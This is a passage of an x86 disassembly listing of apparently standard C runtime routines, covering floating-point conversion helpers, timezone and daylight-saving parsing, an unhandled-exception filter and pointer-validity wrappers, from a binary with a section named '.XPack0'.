or eax, edx
loc_424848: ; CODE XREF: sub_4247CD+73j
; sub_4247CD+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_424855
or ah, 10h
locret_424855: ; CODE XREF: sub_4247CD+83j
retn
sub_4247CD endp
; =============== S U B R O U T I N E =======================================
sub_424856 proc near ; CODE XREF: sub_4248F5+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_42489B
inc esi
cmp esi, 3
jge short loc_424896
lea eax, [eax+esi*4]
loc_424888: ; CODE XREF: sub_424856+3Ej
cmp dword ptr [eax], 0
jnz short loc_42489B
inc esi
add eax, 4
cmp esi, 3
jl short loc_424888
loc_424896: ; CODE XREF: sub_424856+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42489B: ; CODE XREF: sub_424856+27j
; sub_424856+35j
xor eax, eax
pop esi
retn
sub_424856 endp
; =============== S U B R O U T I N E =======================================
sub_42489F proc near ; CODE XREF: sub_4248F5+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_425720
add esp, 0Ch
dec esi
js short loc_4248F1
lea edi, [ebx+esi*4]
loc_4248D8: ; CODE XREF: sub_42489F+50j
test eax, eax
jz short loc_4248F1
push edi
push 1
push dword ptr [edi]
call sub_425720
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_4248D8
loc_4248F1: ; CODE XREF: sub_42489F+34j
; sub_42489F+3Bj
pop edi
pop esi
pop ebx
retn
sub_42489F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4248F5 proc near ; CODE XREF: sub_424A50+81p
; sub_424A50+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_424959
inc ebx
push ebx
push [ebp+arg_0]
call sub_424856
pop ecx
test eax, eax
pop ecx
jnz short loc_424956
push edi
push [ebp+arg_0]
call sub_42489F
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_424956: ; CODE XREF: sub_4248F5+51j
mov eax, [ebp+arg_4]
loc_424959: ; CODE XREF: sub_4248F5+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_424979
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_424979: ; CODE XREF: sub_4248F5+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_4248F5 endp
; =============== S U B R O U T I N E =======================================
sub_424981 proc near ; CODE XREF: sub_424A50+75p
; sub_424A50+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_42498F: ; CODE XREF: sub_424981+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_42498F
pop esi
retn
sub_424981 endp
; =============== S U B R O U T I N E =======================================
sub_42499C proc near ; CODE XREF: sub_424A50+5Fp
; sub_424A50+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_42499C endp
; =============== S U B R O U T I N E =======================================
sub_4249A8 proc near ; CODE XREF: sub_424A50+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_4249AE: ; CODE XREF: sub_4249A8+12j
cmp dword ptr [eax], 0
jnz short loc_4249C0
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_4249AE
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4249C0: ; CODE XREF: sub_4249A8+9j
xor eax, eax
retn
sub_4249A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4249C3 proc near ; CODE XREF: sub_424A50+C0p
; sub_424A50+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_4249F9: ; CODE XREF: sub_4249C3+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_4249F9
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_424A2B: ; CODE XREF: sub_4249C3+86j
cmp ebx, edi
jl short loc_424A3E
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_424A45
; ---------------------------------------------------------------------------
loc_424A3E: ; CODE XREF: sub_4249C3+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_424A45: ; CODE XREF: sub_4249C3+79j
dec ebx
sub ecx, 4
jns short loc_424A2B
pop edi
pop esi
pop ebx
leave
retn
sub_4249C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424A50 proc near ; CODE XREF: sub_424BBC+Dp
; sub_424BD2+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_424ABD
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_4249A8
test eax, eax
pop ecx
jnz loc_424B7C
lea eax, [ebp+var_C]
push eax
call sub_42499C
pop ecx
loc_424AB5: ; CODE XREF: sub_424A50+E4j
push 2
loc_424AB7: ; CODE XREF: sub_424A50+110j
pop eax
jmp loc_424B7E
; ---------------------------------------------------------------------------
loc_424ABD: ; CODE XREF: sub_424A50+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_424981
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_4248F5
add esp, 10h
test eax, eax
jz short loc_424ADE
inc ebx
loc_424ADE: ; CODE XREF: sub_424A50+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_424AF6
lea eax, [ebp+var_C]
push eax
call sub_42499C
pop ecx
jmp short loc_424B32
; ---------------------------------------------------------------------------
loc_424AF6: ; CODE XREF: sub_424A50+98j
cmp ebx, eax
jg short loc_424B39
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_424981
lea eax, [ebp+var_C]
push esi
push eax
call sub_4249C3
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_4248F5
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_4249C3
add esp, 20h
loc_424B32: ; CODE XREF: sub_424A50+A4j
xor esi, esi
jmp loc_424AB5
; ---------------------------------------------------------------------------
loc_424B39: ; CODE XREF: sub_424A50+A8j
cmp ebx, [edi]
jl short loc_424B65
lea eax, [ebp+var_C]
push eax
call sub_42499C
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_4249C3
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_424AB7
; ---------------------------------------------------------------------------
loc_424B65: ; CODE XREF: sub_424A50+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_4249C3
pop ecx
pop ecx
loc_424B7C: ; CODE XREF: sub_424A50+55j
xor eax, eax
loc_424B7E: ; CODE XREF: sub_424A50+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_424BAD
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_424BB7
; ---------------------------------------------------------------------------
loc_424BAD: ; CODE XREF: sub_424A50+14Ej
cmp edi, 20h
jnz short loc_424BB7
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_424BB7: ; CODE XREF: sub_424A50+15Bj
; sub_424A50+160j
pop edi
pop esi
pop ebx
leave
retn
sub_424A50 endp
; =============== S U B R O U T I N E =======================================
sub_424BBC proc near ; CODE XREF: sub_424BE8+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43FF98
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424A50
add esp, 0Ch
retn
sub_424BBC endp
; =============== S U B R O U T I N E =======================================
sub_424BD2 proc near ; CODE XREF: sub_424C15+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43FFB0
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424A50
add esp, 0Ch
retn
sub_424BD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424BE8 proc near ; CODE XREF: sub_42203B+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4258C1
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424BBC
add esp, 24h
leave
retn
sub_424BE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424C15 proc near ; CODE XREF: sub_42203B+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4258C1
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424BD2
add esp, 24h
leave
retn
sub_424C15 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424C42 proc near ; CODE XREF: sub_422079+65p
; sub_42217D+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_424C7F
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_424C65: ; CODE XREF: sub_424C42+38j
mov dl, [ecx]
test dl, dl
jz short loc_424C71
movsx edx, dl
inc ecx
jmp short loc_424C74
; ---------------------------------------------------------------------------
loc_424C71: ; CODE XREF: sub_424C42+27j
push 30h
pop edx
loc_424C74: ; CODE XREF: sub_424C42+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_424C65
mov edx, [ebp+arg_8]
loc_424C7F: ; CODE XREF: sub_424C42+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_424C98
cmp byte ptr [ecx], 35h
jl short loc_424C98
loc_424C8B: ; CODE XREF: sub_424C42+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_424C96
mov byte ptr [eax], 30h
jmp short loc_424C8B
; ---------------------------------------------------------------------------
loc_424C96: ; CODE XREF: sub_424C42+4Dj
inc byte ptr [eax]
loc_424C98: ; CODE XREF: sub_424C42+42j
; sub_424C42+47j
cmp byte ptr [esi], 31h
jnz short loc_424CA2
inc dword ptr [edx+4]
jmp short loc_424CB4
; ---------------------------------------------------------------------------
loc_424CA2: ; CODE XREF: sub_424C42+59j
push edi
call sub_41B650
inc eax
push eax
push edi
push esi
call sub_41D300
add esp, 10h
loc_424CB4: ; CODE XREF: sub_424C42+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_424C42 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424CB9 proc near ; CODE XREF: sub_422079+3Fp
; sub_42217D+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_424D1D
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_4DE7C0
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_425D92
mov dword_4DE7E8, eax
add esp, 18h
movsx eax, byte_4DE7C2
mov dword_4DE7E0, eax
pop edi
movsx eax, word_4DE7C0
mov dword_4DE7E4, eax
mov dword_4DE7EC, offset dword_4DE7C4
mov eax, offset dword_4DE7E0
pop esi
leave
retn
sub_424CB9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D1D proc near ; CODE XREF: sub_424CB9+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_424D6B
cmp ebx, edi
jz short loc_424D64
lea edi, [ecx+3C00h]
jmp short loc_424D8C
; ---------------------------------------------------------------------------
loc_424D64: ; CODE XREF: sub_424D1D+3Dj
mov edi, 7FFFh
jmp short loc_424D8C
; ---------------------------------------------------------------------------
loc_424D6B: ; CODE XREF: sub_424D1D+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_424D83
cmp edx, ebx
jnz short loc_424D83
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_424DCE
; ---------------------------------------------------------------------------
loc_424D83: ; CODE XREF: sub_424D1D+52j
; sub_424D1D+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_424D8C: ; CODE XREF: sub_424D1D+45j
; sub_424D1D+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_424DA4: ; CODE XREF: sub_424D1D+A6j
test ecx, esi
jnz short loc_424DC5
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_424DA4
; ---------------------------------------------------------------------------
loc_424DC5: ; CODE XREF: sub_424D1D+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_424DCE: ; CODE XREF: sub_424D1D+64j
pop edi
pop esi
pop ebx
leave
retn
sub_424D1D endp
; ---------------------------------------------------------------------------
push 2
call sub_41E0C9
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_424DDC proc near ; DATA XREF: sub_424E22o
; .XPack0:0043FBD8o ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_424DFF
cmp dword ptr [eax+10h], 3
jnz short loc_424DFF
cmp dword ptr [eax+14h], 19930520h
jnz short loc_424DFF
jmp sub_422BFC
; ---------------------------------------------------------------------------
loc_424DFF: ; CODE XREF: sub_424DDC+Dj
; sub_424DDC+13j ...
mov eax, dword_4DE7F0
test eax, eax
jz short loc_424E1C
push eax
call sub_424E78
test eax, eax
pop ecx
jz short loc_424E1C
push esi
call dword_4DE7F0
jmp short loc_424E1E
; ---------------------------------------------------------------------------
loc_424E1C: ; CODE XREF: sub_424DDC+2Aj
; sub_424DDC+35j
xor eax, eax
loc_424E1E: ; CODE XREF: sub_424DDC+3Ej
pop esi
retn 4
sub_424DDC endp
; =============== S U B R O U T I N E =======================================
sub_424E22 proc near ; DATA XREF: .XPack0:0042A028o
push offset sub_424DDC
call dword_42801C ; SetUnhandledExceptionFilter
mov dword_4DE7F0, eax
retn
sub_424E22 endp
; =============== S U B R O U T I N E =======================================
sub_424E33 proc near ; DATA XREF: .XPack0:0042A040o
push dword_4DE7F0
call dword_42801C ; SetUnhandledExceptionFilter
retn
sub_424E33 endp
; =============== S U B R O U T I N E =======================================
sub_424E40 proc near ; CODE XREF: sub_422451+6Bp
; sub_422962+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_428018 ; IsBadReadPtr
test eax, eax
jz short loc_424E58
xor esi, esi
loc_424E58: ; CODE XREF: sub_424E40+14j
mov eax, esi
pop esi
retn
sub_424E40 endp
; =============== S U B R O U T I N E =======================================
sub_424E5C proc near ; CODE XREF: sub_422962+73p
; sub_422962+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_4281D4 ; IsBadWritePtr
test eax, eax
jz short loc_424E74
xor esi, esi
loc_424E74: ; CODE XREF: sub_424E5C+14j
mov eax, esi
pop esi
retn
sub_424E5C endp
; =============== S U B R O U T I N E =======================================
sub_424E78 proc near ; CODE XREF: sub_422962+15Bp
; sub_424DDC+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call dword_428014 ; IsBadCodePtr
test eax, eax
jz short loc_424E8C
xor esi, esi
loc_424E8C: ; CODE XREF: sub_424E78+10j
mov eax, esi
pop esi
retn
sub_424E78 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422BFC
loc_424E90: ; CODE XREF: sub_422BFC:loc_422C4Dj
push 0Ah
call sub_423C91
push 16h
call sub_426025
pop ecx
pop ecx
push 3
call sub_41BE32
; END OF FUNCTION CHUNK FOR sub_422BFC
; =============== S U B R O U T I N E =======================================
sub_424EA7 proc near ; CODE XREF: sub_422D09:loc_422D48p
cmp dword_4DE8B0, 0
jnz short locret_424EBB
call sub_424EBC
inc dword_4DE8B0
locret_424EBB: ; CODE XREF: sub_424EA7+7j
retn
sub_424EA7 endp
; =============== S U B R O U T I N E =======================================
sub_424EBC proc near ; CODE XREF: sub_424EA7+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov dword_4DE7F8, ebp
mov dword_440070, ebx
mov dword_440060, ebx
call sub_426197
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_424FE5
push offset dword_4DE800
call dword_4281AC ; GetTimeZoneInformation
cmp eax, ebx
jz loc_425114
mov eax, dword_4DE800
mov ecx, dword_4DE854
imul eax, 3Ch
cmp word_4DE846, bp
push 1
pop edx
mov dword_43FFC8, eax
mov dword_4DE7F8, edx
jz short loc_424F33
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_43FFC8, eax
loc_424F33: ; CODE XREF: sub_424EBC+69j
cmp word_4DE89A, bp
jz short loc_424F57
mov eax, dword_4DE8A8
cmp eax, ebp
jz short loc_424F57
sub eax, ecx
mov dword_43FFCC, edx
imul eax, 3Ch
mov dword_43FFD0, eax
jmp short loc_424F63
; ---------------------------------------------------------------------------
loc_424F57: ; CODE XREF: sub_424EBC+7Ej
; sub_424EBC+87j
mov dword_43FFCC, ebp
mov dword_43FFD0, ebp
loc_424F63: ; CODE XREF: sub_424EBC+99j
lea eax, [esp+14h+var_4]
mov esi, dword_42818C
push eax
push ebp
push 3Fh
mov edi, 220h
push off_440054
push ebx
push offset dword_4DE804
push edi
push dword_4DE694
call esi ; WideCharToMultiByte
test eax, eax
jz short loc_424FA0
cmp [esp+14h+var_4], ebp
jnz short loc_424FA0
mov eax, off_440054
and byte ptr [eax+3Fh], 0
jmp short loc_424FA8
; ---------------------------------------------------------------------------
loc_424FA0: ; CODE XREF: sub_424EBC+D1j
; sub_424EBC+D7j
mov eax, off_440054
and byte ptr [eax], 0
loc_424FA8: ; CODE XREF: sub_424EBC+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_440058
push ebx
push offset dword_4DE858
push edi
push dword_4DE694
call esi ; WideCharToMultiByte
test eax, eax
jz loc_42510C
cmp [esp+14h+var_4], ebp
jnz loc_42510C
mov eax, off_440058
and byte ptr [eax+3Fh], 0
jmp loc_425114
; ---------------------------------------------------------------------------
loc_424FE5: ; CODE XREF: sub_424EBC+2Dj
cmp byte ptr [esi], 0
jz loc_425114
mov eax, dword_4DE8AC
cmp eax, ebp
jz short loc_425008
push eax
push esi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_425114
loc_425008: ; CODE XREF: sub_424EBC+139j
push dword_4DE8AC
call sub_41B721
push esi
call sub_41B650
inc eax
push eax
call sub_41BB45
add esp, 0Ch
cmp eax, ebp
mov dword_4DE8AC, eax
jz loc_425114
push esi
push eax
call sub_41C520
push 3
push esi
push off_440054
call sub_41BC60
mov eax, off_440054
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_42505D
push 1
inc esi
pop edi
loc_42505D: ; CODE XREF: sub_424EBC+19Bj
push esi
call sub_41BD5E
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_43FFC8, ecx
loc_425074: ; CODE XREF: sub_424EBC+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_425082
cmp al, bl
jl short loc_425085
cmp al, 39h
jg short loc_425085
loc_425082: ; CODE XREF: sub_424EBC+1BCj
inc esi
jmp short loc_425074
; ---------------------------------------------------------------------------
loc_425085: ; CODE XREF: sub_424EBC+1C0j
; sub_424EBC+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_4250D8
inc esi
push esi
call sub_41BD5E
imul eax, 3Ch
pop ecx
mov ecx, dword_43FFC8
add ecx, eax
mov dword_43FFC8, ecx
loc_4250A3: ; CODE XREF: sub_424EBC+1F2j
mov al, [esi]
cmp al, bl
jl short loc_4250B0
cmp al, 39h
jg short loc_4250B0
inc esi
jmp short loc_4250A3
; ---------------------------------------------------------------------------
loc_4250B0: ; CODE XREF: sub_424EBC+1EBj
; sub_424EBC+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_4250D8
inc esi
push esi
call sub_41BD5E
pop ecx
mov ecx, dword_43FFC8
add ecx, eax
mov dword_43FFC8, ecx
loc_4250CB: ; CODE XREF: sub_424EBC+21Aj
mov al, [esi]
cmp al, bl
jl short loc_4250D8
cmp al, 39h
jg short loc_4250D8
inc esi
jmp short loc_4250CB
; ---------------------------------------------------------------------------
loc_4250D8: ; CODE XREF: sub_424EBC+1CCj
; sub_424EBC+1F7j ...
cmp edi, ebp
jz short loc_4250E4
neg ecx
mov dword_43FFC8, ecx
loc_4250E4: ; CODE XREF: sub_424EBC+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_43FFCC, eax
jz short loc_42510C
push 3
push esi
push off_440058
call sub_41BC60
mov eax, off_440058
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_425114
; ---------------------------------------------------------------------------
loc_42510C: ; CODE XREF: sub_424EBC+10Bj
; sub_424EBC+115j ...
mov eax, off_440058
and byte ptr [eax], 0
loc_425114: ; CODE XREF: sub_424EBC+40j
; sub_424EBC+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_424EBC endp
; =============== S U B R O U T I N E =======================================
sub_42511A proc near ; CODE XREF: sub_422D09+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_43FFCC, edi
jnz short loc_42512E
loc_425127: ; CODE XREF: sub_42511A+148j
; sub_42511A+150j ...
xor eax, eax
jmp loc_42527A
; ---------------------------------------------------------------------------
loc_42512E: ; CODE XREF: sub_42511A+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_440060
jnz short loc_42514C
cmp eax, dword_440070
jz loc_42524E
loc_42514C: ; CODE XREF: sub_42511A+24j
cmp dword_4DE7F8, edi
jz loc_425224
movzx ecx, word_4DE8A6
push ecx
cmp word_4DE898, di
movzx ecx, word_4DE8A4
push ecx
movzx ecx, word_4DE8A2
push ecx
movzx ecx, word_4DE8A0
push ecx
jnz short loc_42519E
movzx ecx, word_4DE89C
push edi
push ecx
movzx ecx, word_4DE89E
push ecx
movzx ecx, word_4DE89A
push ecx
push eax
push ebx
jmp short loc_4251B2
; ---------------------------------------------------------------------------
loc_42519E: ; CODE XREF: sub_42511A+65j
movzx ecx, word_4DE89E
push ecx
push edi
movzx ecx, word_4DE89A
push edi
push ecx
push eax
push edi
loc_4251B2: ; CODE XREF: sub_42511A+82j
push ebx
call sub_4252C6
movzx eax, word_4DE852
add esp, 2Ch
cmp word_4DE844, di
push eax
movzx eax, word_4DE850
push eax
movzx eax, word_4DE84E
push eax
movzx eax, word_4DE84C
push eax
jnz short loc_42520C
movzx eax, word_4DE848
push edi
push eax
movzx eax, word_4DE84A
push eax
movzx eax, word_4DE846
push eax
push dword ptr [esi+14h]
push ebx
loc_425201: ; CODE XREF: sub_42511A+108j
push edi
call sub_4252C6
add esp, 2Ch
jmp short loc_42524E
; ---------------------------------------------------------------------------
loc_42520C: ; CODE XREF: sub_42511A+C8j
movzx eax, word_4DE84A
push eax
push edi
movzx eax, word_4DE846
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_425201
; ---------------------------------------------------------------------------
loc_425224: ; CODE XREF: sub_42511A+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_4252C6
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
loc_425241: ; DATA XREF: .XPack0:off_43B148o
push dword ptr [esi+14h]
push ebx
push edi
call sub_4252C6
add esp, 58h
loc_42524E: ; CODE XREF: sub_42511A+2Cj
; sub_42511A+F0j
mov edx, dword_440064
mov eax, dword_440074
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_42527E
cmp ecx, edx
jl loc_425127
cmp ecx, eax
jg loc_425127
cmp ecx, edx
jle short loc_425292
cmp ecx, eax
jge short loc_425292
loc_425278: ; CODE XREF: sub_42511A+166j
; sub_42511A+16Aj
mov eax, ebx
loc_42527A: ; CODE XREF: sub_42511A+Fj
; sub_42511A+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42527E: ; CODE XREF: sub_42511A+144j
cmp ecx, eax
jl short loc_425278
cmp ecx, edx
jg short loc_425278
cmp ecx, eax
jle short loc_425292
cmp ecx, edx
jl loc_425127
loc_425292: ; CODE XREF: sub_42511A+158j
; sub_42511A+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_4252B9
xor ecx, ecx
cmp eax, dword_440068
setnl cl
loc_4252B5: ; CODE XREF: sub_42511A+1AAj
mov eax, ecx
jmp short loc_42527A
; ---------------------------------------------------------------------------
